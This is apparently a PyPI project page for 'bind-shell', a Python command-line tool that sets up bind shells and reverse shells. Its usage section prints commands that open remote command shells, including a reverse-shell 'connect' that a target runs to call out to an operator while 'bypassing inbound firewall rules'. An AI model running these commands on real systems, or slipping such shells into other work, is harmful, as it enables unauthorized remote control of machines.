Skip to main content

A Typer CLI for creating and connecting to bind shells and reverse shells. Built on Python's stdlib socket — no external dependencies.

Project description

bind-shell PyPi

A Typer CLI for creating and connecting to bind shells and reverse shells. Built on Python's stdlib socket — no external dependencies.

Install

Use pipx to install globally in an isolated python environment.

pipx install bind-shell

Usage

 Usage: bind-shell [OPTIONS] COMMAND [ARGS]...

╭─ Options ───────────────────────────────────────────────────────────────────────────────────╮
│ --install-completion          Install completion for the current shell.                     │
│ --show-completion             Show completion for the current shell, to copy it or          │
│                               customize the installation.                                   │
│ --help                        Show this message and exit.                                   │
╰─────────────────────────────────────────────────────────────────────────────────────────────╯
╭─ Commands ──────────────────────────────────────────────────────────────────────────────────╮
│ server    Bind shell: bind a port and execute commands from an incoming client               │
│ client    Bind shell: connect to a server and send commands interactively                   │
│ listen    Reverse shell: bind a port and send commands to an incoming connector              │
│ connect   Reverse shell: connect out to a listener and execute its commands                 │
╰─────────────────────────────────────────────────────────────────────────────────────────────╯

Bind shell

In a bind shell the target runs server — it binds a port and waits. The operator runs client to connect in and issue commands.

On the target:

$ bind-shell server
Bind-Shell Connection: bind-shell client 12.34.77.19 --port 4444 --password ZngSIZMqels2THrqblTDgg

On the operator:

$ bind-shell client 12.34.77.19 --port 4444 --password ZngSIZMqels2THrqblTDgg

Reverse shell

In a reverse shell the operator runs listen — it binds a port and waits. The target runs connect to call back out, bypassing inbound firewall rules.

On the operator:

$ bind-shell listen
Reverse-Shell Connection: bind-shell connect 12.34.77.19 --port 4444 --password ayCWsj2oRCo7ZgG-kCwLJw

On the target:

$ bind-shell connect 12.34.77.19 --port 4444 --password ayCWsj2oRCo7ZgG-kCwLJw

Options

All commands accept --port (default: 4444). server and listen also accept --host to control the bind address (default: 0.0.0.0). client and connect require --password generated by server or listen.

bind-shell server --host 0.0.0.0 --port 4444
bind-shell client <ip> --port 4444 --password some-pass
bind-shell listen --host 0.0.0.0 --port 4444
bind-shell connect <ip> --port 4444 --password some-pass

Type exit or quit to close a session.

Dev Prerequisites

  • python >=3.10
  • pipx, an optional tool for prerequisite installs
  • poetry (install globally with pipx install poetry)
  • flake8 (install globally with pipx install flake8)
    • flake8-bugbear extension (install with pipx inject flake8 flake8-bugbear)
    • flake8-naming extension (install with pipx inject flake8 pep8-naming)
  • black (install globally with pipx install black)
  • pre-commit (install globally with pipx install pre-commit)
  • just, a Justfile command runner

Updating python version

  • Update python version in Dev Prerequisites above
  • Update [tool.poetry.dependencies] section of pyproject.toml
  • Update pyupgrade hook in .pre-commit-config.yaml
  • Update python version in .gitlab-ci.yml

Justfile Targets

  • install: installs poetry dependencies and pre-commit git hooks
  • update_boilerplate: fetches and applies updates from the boilerplate remote
  • test: runs pytest with test coverage report

Boilerplate

This project tracks the pyplate boilerplate via the boilerplate git remote. Run just update_boilerplate to pull latest changes. NOTE: keep the boilerplate remote history intact to successfully merge future updates.

Project details


Download files

Download the file for your platform. If you're not sure which to choose, learn more about installing packages.

Source Distribution

bind_shell-0.1.0.tar.gz (5.6 kB view details)

Uploaded Source

Built Distribution

If you're not sure about the file name format, learn more about wheel file names.

bind_shell-0.1.0-py3-none-any.whl (5.6 kB view details)

Uploaded Python 3

File details

Details for the file bind_shell-0.1.0.tar.gz.

File metadata

  • Download URL: bind_shell-0.1.0.tar.gz
  • Upload date:
  • Size: 5.6 kB
  • Tags: Source
  • Uploaded using Trusted Publishing? No
  • Uploaded via: poetry/2.4.1 CPython/3.13.13 Linux/5.15.154+

File hashes

Hashes for bind_shell-0.1.0.tar.gz
Algorithm Hash digest
SHA256 cff701869b95a67463af49bae33e8657e769cfcc47b6efd47f678896773c2ecf
MD5 650b5c9e4d69c0d6ca77209e1d9ba1ef
BLAKE2b-256 ffc9887b09018be7be0c8b2949983d142b34fe720f5ab6965bd5e1adfc0b22b8

See more details on using hashes here.

File details

Details for the file bind_shell-0.1.0-py3-none-any.whl.

File metadata

  • Download URL: bind_shell-0.1.0-py3-none-any.whl
  • Upload date:
  • Size: 5.6 kB
  • Tags: Python 3
  • Uploaded using Trusted Publishing? No
  • Uploaded via: poetry/2.4.1 CPython/3.13.13 Linux/5.15.154+

File hashes

Hashes for bind_shell-0.1.0-py3-none-any.whl
Algorithm Hash digest
SHA256 8b43aaff2595d7c22961ab8735f100e479f5bcf9affffca1f450edcb720d923a
MD5 b76e39d849e39d94ace2b216bb86f000
BLAKE2b-256 ff16e25cfa913cbcadf6adaa62fdae9a3d66d95f04f673370e3144f32cf5f901

See more details on using hashes here.

Supported by

AWS Cloud computing and Security Sponsor Datadog Monitoring Depot Continuous Integration Fastly CDN Google Download Analytics Pingdom Monitoring Sentry Error logging StatusPage Status page